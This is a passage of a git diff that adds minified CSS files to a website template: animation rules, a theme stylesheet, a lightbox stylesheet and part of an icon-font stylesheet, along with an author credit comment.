[data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2400'].aos-animate,body[data-aos-delay='2400'] [data-aos].aos-animate{transition-delay:2.4s}[data-aos][data-aos][data-aos-duration='2450'],body[data-aos-duration='2450'] [data-aos]{transition-duration:2.45s}[data-aos][data-aos][data-aos-delay='2450'],body[data-aos-delay='2450'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2450'].aos-animate,body[data-aos-delay='2450'] [data-aos].aos-animate{transition-delay:2.45s}[data-aos][data-aos][data-aos-duration='2500'],body[data-aos-duration='2500'] [data-aos]{transition-duration:2.5s}[data-aos][data-aos][data-aos-delay='2500'],body[data-aos-delay='2500'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2500'].aos-animate,body[data-aos-delay='2500'] [data-aos].aos-animate{transition-delay:2.5s}[data-aos][data-aos][data-aos-duration='2550'],body[data-aos-duration='2550'] [data-aos]{transition-duration:2.55s}[data-aos][data-aos][data-aos-delay='2550'],body[data-aos-delay='2550'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2550'].aos-animate,body[data-aos-delay='2550'] [data-aos].aos-animate{transition-delay:2.55s}[data-aos][data-aos][data-aos-duration='2600'],body[data-aos-duration='2600'] [data-aos]{transition-duration:2.6s}[data-aos][data-aos][data-aos-delay='2600'],body[data-aos-delay='2600'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2600'].aos-animate,body[data-aos-delay='2600'] [data-aos].aos-animate{transition-delay:2.6s}[data-aos][data-aos][data-aos-duration='2650'],body[data-aos-duration='2650'] [data-aos]{transition-duration:2.65s}[data-aos][data-aos][data-aos-delay='2650'],body[data-aos-delay='2650'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2650'].aos-animate,body[data-aos-delay='2650'] [data-aos].aos-animate{transition-delay:2.65s}[data-aos][data-aos][data-aos-duration='2700'],body[data-aos-duration='2700'] [data-aos]{transition-duration:2.7s}[data-aos][data-aos][data-aos-delay='2700'],body[data-aos-delay='2700'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2700'].aos-animate,body[data-aos-delay='2700'] [data-aos].aos-animate{transition-delay:2.7s}[data-aos][data-aos][data-aos-duration='2750'],body[data-aos-duration='2750'] [data-aos]{transition-duration:2.75s}[data-aos][data-aos][data-aos-delay='2750'],body[data-aos-delay='2750'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2750'].aos-animate,body[data-aos-delay='2750'] [data-aos].aos-animate{transition-delay:2.75s}[data-aos][data-aos][data-aos-duration='2800'],body[data-aos-duration='2800'] [data-aos]{transition-duration:2.8s}[data-aos][data-aos][data-aos-delay='2800'],body[data-aos-delay='2800'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2800'].aos-animate,body[data-aos-delay='2800'] [data-aos].aos-animate{transition-delay:2.8s}[data-aos][data-aos][data-aos-duration='2850'],body[data-aos-duration='2850'] [data-aos]{transition-duration:2.85s}[data-aos][data-aos][data-aos-delay='2850'],body[data-aos-delay='2850'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2850'].aos-animate,body[data-aos-delay='2850'] [data-aos].aos-animate{transition-delay:2.85s}[data-aos][data-aos][data-aos-duration='2900'],body[data-aos-duration='2900'] [data-aos]{transition-duration:2.9s}[data-aos][data-aos][data-aos-delay='2900'],body[data-aos-delay='2900'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2900'].aos-animate,body[data-aos-delay='2900'] [data-aos].aos-animate{transition-delay:2.9s}[data-aos][data-aos][data-aos-duration='2950'],body[data-aos-duration='2950'] [data-aos]{transition-duration:2.95s}[data-aos][data-aos][data-aos-delay='2950'],body[data-aos-delay='2950'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2950'].aos-animate,body[data-aos-delay='2950'] [data-aos].aos-animate{transition-delay:2.95s}[data-aos][data-aos][data-aos-duration='3000'],body[data-aos-duration='3000'] [data-aos]{transition-duration:3s}[data-aos][data-aos][data-aos-delay='3000'],body[data-aos-delay='3000'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='3000'].aos-animate,body[data-aos-delay='3000'] [data-aos].aos-animate{transition-delay:3s}[data-aos][data-aos][data-aos-easing=linear],body[data-aos-easing=linear] [data-aos]{transition-timing-function:cubic-bezier(.25,.25,.75,.75)}[data-aos][data-aos][data-aos-easing=ease],body[data-aos-easing=ease] [data-aos]{transition-timing-function:ease}[data-aos][data-aos][data-aos-easing=ease-in],body[data-aos-easing=ease-in] [data-aos]{transition-timing-function:ease-in}[data-aos][data-aos][data-aos-easing=ease-out],body[data-aos-easing=ease-out] [data-aos]{transition-timing-function:ease-out}[data-aos][data-aos][data-aos-easing=ease-in-out],body[data-aos-easing=ease-in-out] [data-aos]{transition-timing-function:ease-in-out}[data-aos][data-aos][data-aos-easing=ease-in-back],body[data-aos-easing=ease-in-back] [data-aos]{transition-timing-function:cubic-bezier(.6,-.28,.735,.045)}[data-aos][data-aos][data-aos-easing=ease-out-back],body[data-aos-easing=ease-out-back] [data-aos]{transition-timing-function:cubic-bezier(.175,.885,.32,1.275)}[data-aos][data-aos][data-aos-easing=ease-in-out-back],body[data-aos-easing=ease-in-out-back] [data-aos]{transition-timing-function:cubic-bezier(.68,-.55,.265,1.55)}[data-aos][data-aos][data-aos-easing=ease-in-sine],body[data-aos-easing=ease-in-sine] [data-aos]{transition-timing-function:cubic-bezier(.47,0,.745,.715)}[data-aos][data-aos][data-aos-easing=ease-out-sine],body[data-aos-easing=ease-out-sine] [data-aos]{transition-timing-function:cubic-bezier(.39,.575,.565,1)}[data-aos][data-aos][data-aos-easing=ease-in-out-sine],body[data-aos-easing=ease-in-out-sine] [data-aos]{transition-timing-function:cubic-bezier(.445,.05,.55,.95)}[data-aos][data-aos][data-aos-easing=ease-in-quad],body[data-aos-easing=ease-in-quad] [data-aos]{transition-timing-function:cubic-bezier(.55,.085,.68,.53)}[data-aos][data-aos][data-aos-easing=ease-out-quad],body[data-aos-easing=ease-out-quad] [data-aos]{transition-timing-function:cubic-bezier(.25,.46,.45,.94)}[data-aos][data-aos][data-aos-easing=ease-in-out-quad],body[data-aos-easing=ease-in-out-quad] [data-aos]{transition-timing-function:cubic-bezier(.455,.03,.515,.955)}[data-aos][data-aos][data-aos-easing=ease-in-cubic],body[data-aos-easing=ease-in-cubic] [data-aos]{transition-timing-function:cubic-bezier(.55,.085,.68,.53)}[data-aos][data-aos][data-aos-easing=ease-out-cubic],body[data-aos-easing=ease-out-cubic] [data-aos]{transition-timing-function:cubic-bezier(.25,.46,.45,.94)}[data-aos][data-aos][data-aos-easing=ease-in-out-cubic],body[data-aos-easing=ease-in-out-cubic] [data-aos]{transition-timing-function:cubic-bezier(.455,.03,.515,.955)}[data-aos][data-aos][data-aos-easing=ease-in-quart],body[data-aos-easing=ease-in-quart] [data-aos]{transition-timing-function:cubic-bezier(.55,.085,.68,.53)}[data-aos][data-aos][data-aos-easing=ease-out-quart],body[data-aos-easing=ease-out-quart] [data-aos]{transition-timing-function:cubic-bezier(.25,.46,.45,.94)}[data-aos][data-aos][data-aos-easing=ease-in-out-quart],body[data-aos-easing=ease-in-out-quart] [data-aos]{transition-timing-function:cubic-bezier(.455,.03,.515,.955)}[data-aos^=fade][data-aos^=fade]{opacity:0;transition-property:opacity,transform}[data-aos^=fade][data-aos^=fade].aos-animate{opacity:1;transform:translate(0)}[data-aos=fade-up]{transform:translateY(100px)}[data-aos=fade-down]{transform:translateY(-100px)}[data-aos=fade-right]{transform:translate(-100px)}[data-aos=fade-left]{transform:translate(100px)}[data-aos=fade-up-right]{transform:translate(-100px,100px)}[data-aos=fade-up-left]{transform:translate(100px,100px)}[data-aos=fade-down-right]{transform:translate(-100px,-100px)}[data-aos=fade-down-left]{transform:translate(100px,-100px)}[data-aos^=zoom][data-aos^=zoom]{opacity:0;transition-property:opacity,transform}[data-aos^=zoom][data-aos^=zoom].aos-animate{opacity:1;transform:translate(0) scale(1)}[data-aos=zoom-in]{transform:scale(.6)}[data-aos=zoom-in-up]{transform:translateY(100px) scale(.6)}[data-aos=zoom-in-down]{transform:translateY(-100px) scale(.6)}[data-aos=zoom-in-right]{transform:translate(-100px) scale(.6)}[data-aos=zoom-in-left]{transform:translate(100px) scale(.6)}[data-aos=zoom-out]{transform:scale(1.2)}[data-aos=zoom-out-up]{transform:translateY(100px) scale(1.2)}[data-aos=zoom-out-down]{transform:translateY(-100px) scale(1.2)}[data-aos=zoom-out-right]{transform:translate(-100px) scale(1.2)}[data-aos=zoom-out-left]{transform:translate(100px) scale(1.2)}[data-aos^=slide][data-aos^=slide]{transition-property:transform}[data-aos^=slide][data-aos^=slide].aos-animate{transform:translate(0)}[data-aos=slide-up]{transform:translateY(100%)}[data-aos=slide-down]{transform:translateY(-100%)}[data-aos=slide-right]{transform:translateX(-100%)}[data-aos=slide-left]{transform:translateX(100%)}[data-aos^=flip][data-aos^=flip]{backface-visibility:hidden;transition-property:transform}[data-aos=flip-left]{transform:perspective(2500px) rotateY(-100deg)}[data-aos=flip-left].aos-animate{transform:perspective(2500px) rotateY(0)}[data-aos=flip-right]{transform:perspective(2500px) rotateY(100deg)}[data-aos=flip-right].aos-animate{transform:perspective(2500px) rotateY(0)}[data-aos=flip-up]{transform:perspective(2500px) rotateX(-100deg)}[data-aos=flip-up].aos-animate{transform:perspective(2500px) rotateX(0)}[data-aos=flip-down]{transform:perspective(2500px) rotateX(100deg)}[data-aos=flip-down].aos-animate{transform:perspective(2500px) rotateX(0)} +/*模板制作 by 傲世网络 QQ:2240414886 盗版必死*/ \ No newline at end of file diff --git a/template/index7/assets/css/as.css b/template/index7/assets/css/as.css new file mode 100644 index 0000000..99ddc6d --- /dev/null +++ b/template/index7/assets/css/as.css @@ -0,0 +1 @@ +@import url('https://fonts.googleapis.com/css?family=Nunito:400,600|Rubik:400,500');body{font-family:'Nunito',sans-serif;overflow-x:hidden;}h1,h2,h3,h4,h5,h6{font-family:'Rubik',sans-serif;}h1.font-weight-bold,h2.font-weight-bold,h3.font-weight-bold,h4.font-weight-bold,h5.font-weight-bold,h6.font-weight-bold{font-weight:500 !important;}a,a:hover,a:focus,button{text-decoration:none !important;outline:none !important;}.bg_overlay_cover_on{background-color:rgba(45,37,200,0.8);position:absolute;top:0;right:0;width:100%;height:100%;}.text_custom{color:#2D25C8;}.bg_custom{background-color:#2D25C8;}.btn{padding:12px 32px;font-size:14px;transition:all 0.5s;letter-spacing:0.6px;color:#fff;box-shadow:none !important;text-transform:uppercase;outline:none !important;}.btn_custom{border:2px solid #2D25C8;background:#2D25C8;font-weight:bold;color:#ffffff;}.btn_custom:hover,.btn_custom:focus,.btn_custom:active,.btn_custom.active,.btn_custom.focus,.btn_custom:active,.btn_custom:focus,.btn_custom:hover,.open > .dropdown-toggle.btn_custom{color:#fff;background-color:#4a44c5;border:2px solid #4a44c5;}.btn_outline{border:2px solid #f5f5f5;background:transparent;border-radius:35px;}.btn_outline:hover,.btn_outline:focus,.btn_outline:active,.btn_outline.active,.btn_outline.focus,.btn_outline:active,.btn_outline:focus,.btn_outline:hover,.open > .dropdown-toggle.btn_outline{color:#2D25C8;background:#fff;border-color:#fff;}.full_height_100vh{height:100vh;}.vertical_content_manage{display:-webkit-flex;display:-moz-flex;display:-ms-flexbox;display:flex;align-items:center;-webkit-align-items:center;justify-content:center;-webkit-justify-content:center;flex-direction:row;-webkit-flex-direction:row;}.section_all{position:relative;padding-top:80px;padding-bottom:80px;}.section_title_border{background-color:#2D25C8;height:6px;width:100px;border-radius:5px;}.btn_small{padding:8px 24px;}.navbar-brand img{height:34px;}.btn_rounded{border-radius:35px !important;}.custom_nav_menu{padding:15px 0px;width:100%;border-radius:0px;z-index:999;margin-bottom:0px;transition:all 0.5s ease-in-out;}.custom_nav_menu .social_menu .list-inline-item:not(:last-child){margin-right:8px;}.custom_nav_menu .navbar-nav li a{color:#fff;font-size:15px;background-color:transparent !important;padding:15px 0;margin:0 7px;transition:all 0.4s;}.navbar-toggler{font-size:24px;margin-top:5px;margin-bottom:0px;color:#ffffff;}.stickyadd .navbar-nav{margin-top:0px;}.stickyadd.custom_nav_menu .navbar-nav li a{color:rgba(0,0,0,0.75);}.custom_nav_menu .navbar-brand.logo img{height:26px;}.stickyadd.custom_nav_menu{margin-top:0px;padding:8px 0px;background-color:#fff;border-bottom:1px solid #fff;box-shadow:0px 0px 18px 1px rgba(0,0,0,0.1);}.custom_nav_menu .navbar-nav li.active a,.custom_nav_menu .navbar-nav li a:hover,.custom_nav_menu .navbar-nav li a:active{color:#0CBEFC !important;}.navbar-toggle{font-size:24px;margin-top:5px;margin-bottom:0px;color:#ffffff;}.custom_nav_menu .btn-custom{margin-top:5px;margin-bottom:5px;}.nav .open>a,.nav .open>a:focus,.nav .open>a:hover{background-color:transparent;border-color:#337ab7;}.logo .logo-light{display:inline-block;}.stickyadd .logo .logo-dark{display:inline-block;}.stickyadd .logo .logo-light{display:none;}.logo .logo-dark{display:none;}.stickyadd .btn_outline{border:2px solid #2D25C8;background:transparent;border-radius:35px;color:#2D25C8;}.stickyadd .btn_outline:hover,.btn_outline:focus,.btn_outline:active,.btn_outline.active,.btn_outline.focus,.btn_outline:active,.btn_outline:focus,.btn_outline:hover,.open > .dropdown-toggle.btn_outline{color:#fff;background:#2D25C8;border-color:#2D25C8;}.bg_home_tech_soft{background-image:url(../images/main_bg.jpg);position:relative;background-size:cover;background-position:center center;}.home_title{font-size:40px;line-height:1.4;max-width:700px;}.home_subtitle{color:#dadada;max-width:450px;line-height:1.8;}.home_table_cell_center{display:table-cell;vertical-align:middle;}.home_table_cell{display:table;width:100%;height:100%;}.full_height_100vh_home{height:100vh;}.home_clip_path{-webkit-clip-path:polygon(0 0,100% 0,100% 82%,25% 100%,0 82%);clip-path:polygon(0 0,100% 0,100% 82%,25% 100%,0 82%);}.home_bg_gradiant{background:linear-gradient(to right,#565b7e,#907f7f);}.up-index{z-index:2;}.bg_gradiant_soft{background:linear-gradient(to right,#2D25C8,#0BC2FD);}.bg_img_home{background-image:url(../images/bg-img_cover.jpg);position:relative;background-size:cover;}.bg_img_pattern{background-image:url(../images/bg_pattern.jpg);position:relative;background-size:cover;}.about_details{max-width:400px;}.about_details h3{font-size:30px;color:#3A4270;}.about_details_box{background:#ffffff;box-shadow:0 10px 15px -2px rgba(158,152,153,0.2);}.text_muted{color:#868AA5;}.small_cta_desc{font-size:26px;}.services_boxes .services_icon i{height:65px;text-align:center;width:65px;display:inline-block;font-size:26px;border-radius:50%;line-height:65px;}.bg_first_service{background-color:#F7E306;}.bg_second_service{background-color:#0EB5F9;}.bg_third_service{background-color:#E69021;}.bg_four_service{background-color:#CE5598;}.features_box .features_icon i{max-width:45px;float:left;margin-right:20px;font-size:36px;}.features_details{overflow:hidden;}.features_header h3{max-width:450px;}.features_box{background:#254FD7;}.testi_box{max-width:600px;}.testi_box .review_box{font-size:20px;line-height:1.6;}.testi_box .testi_icon{font-size:48px;}.client_name{font-size:16px;}.owl-theme .owl-controls .owl-page span{display:block;width:12px;height:7px;margin:20px 5px;border:1px solid #2D25C8;background-color:#2D25C8;opacity:0.4;}#menu-filter li:not(:last-child)::after{content:"/";margin-left:0.8125em;opacity:0.4;}#menu-filter li a{padding:10px;color:#d4d4d4;}#menu-filter li a.active{color:#505050;}.price_box{padding:40px;}.plan-name p{color:#5E5E5E;font-size:16px;}.list_price_features{padding:20px 0px;}.list_price_features p{margin-bottom:10px;}.price_tag_heading span{font-size:14px;font-weight:normal;}.price_tag_heading h2{font-size:52px;}.price_tag_heading sub{font-size:22px;}.price_box.active{border:3px solid #176af7;border-radius:8px;position:relative;overflow:hidden;}.logo_img img{max-height:100px;width:auto !important;}.corp_form_custom .form-control{height:50px;font-size:16px;border-color:#eae7e7;}textarea.form-control{height:auto !important;}.corp_form_custom .form-control:focus{border-color:#0CBEFC !important;box-shadow:none;outline:0;}.corp_form_custom{box-shadow:0 0 35px 1px #efefef;padding:40px;}.footer_background{background-color:#2D25C8;}.footer_about p{max-width:605px;color:rgba(255,255,255,0.5);}.footer_detail ul.footer_menu_list li a:hover{color:rgba(255,255,255,0.5);transition:all 0.3s;}.footer_detail ul.footer_menu_list li a{color:#fff;display:inline-block;padding:4px 0;text-decoration:none !important;}.footer_detail .footer_logo{height:34px;}.footer_detail .copy-rights{line-height:43px;color:rgba(255,255,255,0.5);}.footer_detail .fot_bor{height:2px;background:#514bc4;width:100%;}@media (max-width:768px){.custom_nav_menu{margin-top:0px;padding:10px 0px !important;background-color:#fff !important;}.vertical_content_manage{display:inherit;}.home_title{font-size:32px;}.custom_nav_menu .navbar-nav li a{margin:0 0px;padding:6px 0;color:rgba(0,0,0,0.55) !important;}.custom_nav_menu .navbar-nav li.active a{color:#0CBEFC !important;}.custom_nav_menu>.container{width:90%;}.custom_nav_menu .logo .logo-dark{display:inline-block;}.custom_nav_menu .logo .logo-light{display:none;}.custom_nav_menu .navbar-brand.logo img{height:26px;}.navbar-nav{margin-top:0px;}.navbar-toggler{font-size:28px;margin-top:0px;margin-bottom:0px;color:#000;}.h-100vh,.full_height_100vh_home{height:auto;}.full_height_100vh_home{padding:100px 0px;}.business_about_details h3{font-size:22px;}} \ No newline at end of file diff --git a/template/index7/assets/css/magnific-popup.css b/template/index7/assets/css/magnific-popup.css new file mode 100644 index 0000000..d4f4dd5 --- /dev/null +++ b/template/index7/assets/css/magnific-popup.css @@ -0,0 +1 @@ +.mfp-bg{top:0;left:0;width:100%;height:100%;z-index:1042;overflow:hidden;position:fixed;background:#0b0b0b;opacity:0.8;filter:alpha(opacity=80);}.mfp-wrap{top:0;left:0;width:100%;height:100%;z-index:1043;position:fixed;outline:none !important;-webkit-backface-visibility:hidden;}.mfp-container{text-align:center;position:absolute;width:100%;height:100%;left:0;top:0;padding:0 8px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}.mfp-container:before{content:'';display:inline-block;height:100%;vertical-align:middle;}.mfp-align-top .mfp-container:before{display:none;}.mfp-content{position:relative;display:inline-block;vertical-align:middle;margin:0 auto;text-align:left;z-index:1045;}.mfp-inline-holder .mfp-content,.mfp-ajax-holder .mfp-content{width:100%;cursor:auto;}.mfp-ajax-cur{cursor:progress;}.mfp-zoom-out-cur,.mfp-zoom-out-cur .mfp-image-holder .mfp-close{cursor:-moz-zoom-out;cursor:-webkit-zoom-out;cursor:zoom-out;}.mfp-zoom{cursor:pointer;cursor:-webkit-zoom-in;cursor:-moz-zoom-in;cursor:zoom-in;}.mfp-auto-cursor .mfp-content{cursor:auto;}.mfp-close,.mfp-arrow,.mfp-preloader,.mfp-counter{-webkit-user-select:none;-moz-user-select:none;user-select:none;}.mfp-loading.mfp-figure{display:none;}.mfp-hide{display:none !important;}.mfp-preloader{color:#cccccc;position:absolute;top:50%;width:auto;text-align:center;margin-top:-0.8em;left:8px;right:8px;z-index:1044;}.mfp-preloader a{color:#cccccc;}.mfp-preloader a:hover{color:white;}.mfp-s-ready .mfp-preloader{display:none;}.mfp-s-error .mfp-content{display:none;}button.mfp-close,button.mfp-arrow{overflow:visible;cursor:pointer;background:transparent;border:0;-webkit-appearance:none;display:block;outline:none;padding:0;z-index:1046;-webkit-box-shadow:none;box-shadow:none;}button::-moz-focus-inner{padding:0;border:0;}.mfp-close{width:44px;height:44px;line-height:44px;position:absolute;right:0;top:0;text-decoration:none;text-align:center;opacity:0.65;filter:alpha(opacity=65);padding:0 0 18px 10px;color:white;font-style:normal;font-size:28px;font-family:Arial,Baskerville,monospace;}.mfp-close:hover,.mfp-close:focus{opacity:1;filter:alpha(opacity=100);}.mfp-close:active{top:1px;}.mfp-close-btn-in .mfp-close{color:#333333;}.mfp-image-holder .mfp-close,.mfp-iframe-holder .mfp-close{color:white;right:-6px;text-align:right;padding-right:6px;width:100%;}.mfp-counter{position:absolute;top:0;right:0;color:#cccccc;font-size:12px;line-height:18px;}.mfp-arrow{position:absolute;opacity:0.65;filter:alpha(opacity=65);margin:0;top:50%;margin-top:-55px;padding:0;width:90px;height:110px;-webkit-tap-highlight-color:rgba(0,0,0,0);}.mfp-arrow:active{margin-top:-54px;}.mfp-arrow:hover,.mfp-arrow:focus{opacity:1;filter:alpha(opacity=100);}.mfp-arrow:before,.mfp-arrow:after,.mfp-arrow .mfp-b,.mfp-arrow .mfp-a{content:'';display:block;width:0;height:0;position:absolute;left:0;top:0;margin-top:35px;margin-left:35px;border:medium inset transparent;}.mfp-arrow:after,.mfp-arrow .mfp-a{border-top-width:13px;border-bottom-width:13px;top:8px;}.mfp-arrow:before,.mfp-arrow .mfp-b{border-top-width:21px;border-bottom-width:21px;opacity:0.7;}.mfp-arrow-left{left:0;}.mfp-arrow-left:after,.mfp-arrow-left .mfp-a{border-right:17px solid white;margin-left:31px;}.mfp-arrow-left:before,.mfp-arrow-left .mfp-b{margin-left:25px;border-right:27px solid #3f3f3f;}.mfp-arrow-right{right:0;}.mfp-arrow-right:after,.mfp-arrow-right .mfp-a{border-left:17px solid white;margin-left:39px;}.mfp-arrow-right:before,.mfp-arrow-right .mfp-b{border-left:27px solid #3f3f3f;}.mfp-iframe-holder{padding-top:40px;padding-bottom:40px;}.mfp-iframe-holder .mfp-content{line-height:0;width:100%;max-width:900px;}.mfp-iframe-holder .mfp-close{top:-40px;}.mfp-iframe-scaler{width:100%;height:0;overflow:hidden;padding-top:56.25%;}.mfp-iframe-scaler iframe{position:absolute;display:block;top:0;left:0;width:100%;height:100%;box-shadow:0 0 8px rgba(0,0,0,0.6);background:black;}img.mfp-img{width:auto;max-width:100%;height:auto;display:block;line-height:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:40px 0 40px;margin:0 auto;}.mfp-figure{line-height:0;}.mfp-figure:after{content:'';position:absolute;left:0;top:40px;bottom:40px;display:block;right:0;width:auto;height:auto;z-index:-1;box-shadow:0 0 8px rgba(0,0,0,0.6);background:#444444;}.mfp-figure small{color:#bdbdbd;display:block;font-size:12px;line-height:14px;}.mfp-figure figure{margin:0;}.mfp-bottom-bar{margin-top:-36px;position:absolute;top:100%;left:0;width:100%;cursor:auto;}.mfp-title{text-align:left;line-height:18px;color:#f3f3f3;word-wrap:break-word;padding-right:36px;}.mfp-image-holder .mfp-content{max-width:100%;}.mfp-gallery .mfp-image-holder .mfp-figure{cursor:pointer;}@media screen and (max-width:800px) and (orientation:landscape),screen and (max-height:300px){.mfp-img-mobile .mfp-image-holder{padding-left:0;padding-right:0;}.mfp-img-mobile img.mfp-img{padding:0;}.mfp-img-mobile .mfp-figure:after{top:0;bottom:0;}.mfp-img-mobile .mfp-figure small{display:inline;margin-left:5px;}.mfp-img-mobile .mfp-bottom-bar{background:rgba(0,0,0,0.6);bottom:0;margin:0;top:auto;padding:3px 5px;position:fixed;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}.mfp-img-mobile .mfp-bottom-bar:empty{padding:0;}.mfp-img-mobile .mfp-counter{right:5px;top:3px;}.mfp-img-mobile .mfp-close{top:0;right:0;width:35px;height:35px;line-height:35px;background:rgba(0,0,0,0.6);position:fixed;text-align:center;padding:0;}}@media all and (max-width:900px){.mfp-arrow{-webkit-transform:scale(0.75);transform:scale(0.75);}.mfp-arrow-left{-webkit-transform-origin:0;transform-origin:0;}.mfp-arrow-right{-webkit-transform-origin:100%;transform-origin:100%;}.mfp-container{padding-left:6px;padding-right:6px;}}.mfp-ie7 .mfp-img{padding:0;}.mfp-ie7 .mfp-bottom-bar{width:600px;left:50%;margin-left:-300px;margin-top:5px;padding-bottom:5px;}.mfp-ie7 .mfp-container{padding:0;}.mfp-ie7 .mfp-content{padding-top:44px;}.mfp-ie7 .mfp-close{top:0;right:0;padding-top:0;} \ No newline at end of file diff --git a/template/index7/assets/css/mobiriseicons.css b/template/index7/assets/css/mobiriseicons.css new file mode 100644 index 0000000..b89ecdd --- /dev/null +++ b/template/index7/assets/css/mobiriseicons.css @@ -0,0 +1 @@ +@font-face{font-family:'MobiriseIcons';src:url('../fonts/MobiriseIcons.eot?aswl');src:url('../fonts/MobiriseIcons.eot?aswl#iefix') format('embedded-opentype'),url('../fonts/mobirise.ttf?aswl') format('truetype');font-weight:normal;font-style:normal;}[class^="mbri-"],[class*=" mbri-"]{font-family:'MobiriseIcons' !important;speak:none;font-style:normal;font-weight:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;}.mbri-add-submenu:before{content:"\e900";}.mbri-alert:before{content:"\e901";}.mbri-align-center:before{content:"\e902";}.mbri-align-justify:before{content:"\e903";}.mbri-align-left:before{content:"\e904";}.mbri-align-right:before{content:"\e905";}.mbri-android:before{content:"\e906";}.mbri-apple:before{content:"\e907";}.mbri-arrow-down:before{content:"\e908";}.mbri-arrow-next:before{content:"\e909";}.mbri-arrow-prev:before{content:"\e90a";}.mbri-arrow-up:before{content:"\e90b";}.mbri-bold:before{content:"\e90c";}.mbri-bookmark:before{content:"\e90d";}.mbri-bootstrap:before{content:"\e90e";}.mbri-briefcase:before{content:"\e90f";}.mbri-browse:before{content:"\e910";}.mbri-bulleted-list:before{content:"\e911";}.mbri-calendar:before{content:"\e912";}.mbri-camera:before{content:"\e913";}.mbri-cart-add:before{content:"\e914";}.mbri-cart-full:before{content:"\e915";}.mbri-cash:before{content:"\e916";}.mbri-change-style:before{content:"\e917";}.mbri-chat:before{content:"\e918";}.mbri-clock:before{content:"\e919";}.mbri-close:before{content:"\e91a";}.mbri-cloud:before{content:"\e91b";}.mbri-code:before{content:"\e91c";}.mbri-contact-form:before{content:"\e91d";}.mbri-credit-card:before{content:"\e91e";}.mbri-cursor-click:before{content:"\e91f";}.mbri-cust-feedback:before{content:"\e920";}.mbri-database:before{content:"\e921";}.mbri-delivery:before{content:"\e922";}.mbri-desktop:before{content:"\e923";}.mbri-devices:before{content:"\e924";}.mbri-down:before{content:"\e925";}.mbri-download:before{content:"\e926";}.mbri-drag-n-drop:before{content:"\e927";}.mbri-drag-n-drop2:before{content:"\e928";}.mbri-edit:before{content:"\e929";}.mbri-edit2:before{content:"\e92a";}.mbri-error:before{content:"\e92b";}.mbri-extension:before{content:"\e92c";}.mbri-features:before{content:"\e92d";}.mbri-file:before{content:"\e92e";}.mbri-flag:before{content:"\e92f";}.mbri-folder:before{content:"\e930";}.mbri-gift:before{content:"\e931";}.mbri-github:before{content:"\e932";}.mbri-globe-2:before{content:"\e933";}.mbri-globe:before{content:"\e934";}.mbri-growing-chart:before{content:"\e935";}.mbri-hearth:before{content:"\e936";}.mbri-help:before{content:"\e937";}.mbri-home:before{content:"\e938";}.mbri-hot-cup:before{content:"\e939";}.mbri-idea:before{content:"\e93a";}.mbri-image-gallery:before{content:"\e93b";}.mbri-image-slider:before{content:"\e93c";}.mbri-info:before{content:"\e93d";}.mbri-italic:before{content:"\e93e";}.mbri-key:before{content:"\e93f";}.mbri-laptop:before{content:"\e940";}.mbri-layers:before{content:"\e941";}.mbri-left-right:before{content:"\e942";}.mbri-left:before{content:"\e943";}.mbri-letter:before{content:"\e944";}.mbri-like:before{content:"\e945";}.mbri-link:before{content:"\e946";}.mbri-lock:before{content:"\e947";}.mbri-login:before{content:"\e948";}.mbri-logout:before{content:"\e949";}.mbri-magic-stick:before{content:"\e94a";}.mbri-map-pin:before{content:"\e94b";}.mbri-menu:before{content:"\e94c";}.mbri-mobile:before{content:"\e94d";}.mbri-mobile2:before{content:"\e94e";}.mbri-mobirise:before{content:"\e94f";}.mbri-more-horizontal:before{content:"\e950";}.mbri-more-vertical:before{content:"\e951";}.mbri-music:before{content:"\e952";}.mbri-new-file:before{content:"\e953";}.mbri-numbered-list:before{content:"\e954";}.mbri-opened-folder:before{content:"\e955";}.mbri-pages:before{content:"\e956";}.mbri-paper-plane:before{content:"\e957";}.mbri-paperclip:before{content:"\e958";}.mbri-photo:before{content:"\e959";}.mbri-photos:before{content:"\e95a";}.mbri-pin:before{content:"\e95b";}.mbri-play:before{content:"\e95c";}.mbri-plus:before{content:"\e95d";}.mbri-preview:before{content:"\e95e";}.mbri-print:before{content:"\e95f";}.mbri-protect:before{content:"\e960";}.mbri-question:before{content:"\e961";}.mbri-quote-left:before{content:"\e962";}.mbri-quote-right:before{content:"\e963";}.mbri-redo:before{content:"\e964";}.mbri-refresh:before{content:"\e965";}.mbri-responsive:before{content:"\e966";}.mbri-right:before{content:"\e967";}.mbri-rocket:before{content:"\e968";}.mbri-sad-face:before{content:"\e969";}.mbri-sale:before{content:"\e96a";}.mbri-save:before{content:"\e96b";}.mbri-search:before{content:"\e96c";}.mbri-setting:before{content:"\e96d";}.mbri-setting2:before{content:"\e96e";}.mbri-setting3:before{content:"\e96f";}.mbri-share:before{content:"\e970";}.mbri-shopping-bag:before{content:"\e971";}.mbri-shopping-basket:before{content:"\e972";}.mbri-shopping-cart:before{content:"\e973";}.mbri-sites:before{content:"\e974";}.mbri-smile-face:before{content:"\e975";}.mbri-speed:before{content:"\e976";}.mbri-star:before{content:"\e977";}.mbri-success:before{content:"\e978";}.mbri-sun:before{content:"\e979";}.mbri-sun2:before{content:"\e97a";}.mbri-tablet-vertical:before{content:"\e97b";}.mbri-tablet:before{content:"\e97c";}.mbri-target:before{content:"\e97d";}.mbri-timer:before{content:"\e97e";}.mbri-to-ftp:before{content:"\e97f";}.mbri-to-local-drive:before{content:"\e980";}.mbri-touch-swipe:before{content:"\e981";}.mbri-touch:before{content:"\e982";}.mbri-trash:before{content:"\e983";}.mbri-underline:before{content:"\e984";}.mbri-undo:before{content:"\e985";}.mbri-unlink:before{content:"\e986";}.mb